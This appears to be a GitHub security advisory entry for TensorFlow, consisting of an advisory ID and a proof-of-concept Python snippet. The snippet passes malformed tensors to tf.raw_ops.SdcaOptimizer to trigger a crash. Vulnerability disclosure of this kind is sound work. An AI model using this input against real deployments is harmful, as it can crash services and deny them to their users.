GHSA-5gqf-456p-4836

import tensorflow as tf sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_feature_values = [] dense_features = [] dense_weights = [] example_weights = tf.constant((0.0), dtype=tf.float32) example_labels = tf.constant((0.0), dtype=tf.float32) sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)] sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)] example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32) tf.raw_ops.SdcaOptimizer( sparse_example_indices=sparse_example_indices, sparse_feature_indices=sparse_feature_indices, sparse_feature_values=sparse_feature_values, dense_features=dense_features, example_weights=example_weights, example_labels=example_labels, sparse_indices=sparse_indices, sparse_weights=sparse_weights, dense_weights=dense_weights, example_state_data=example_state_data, loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False)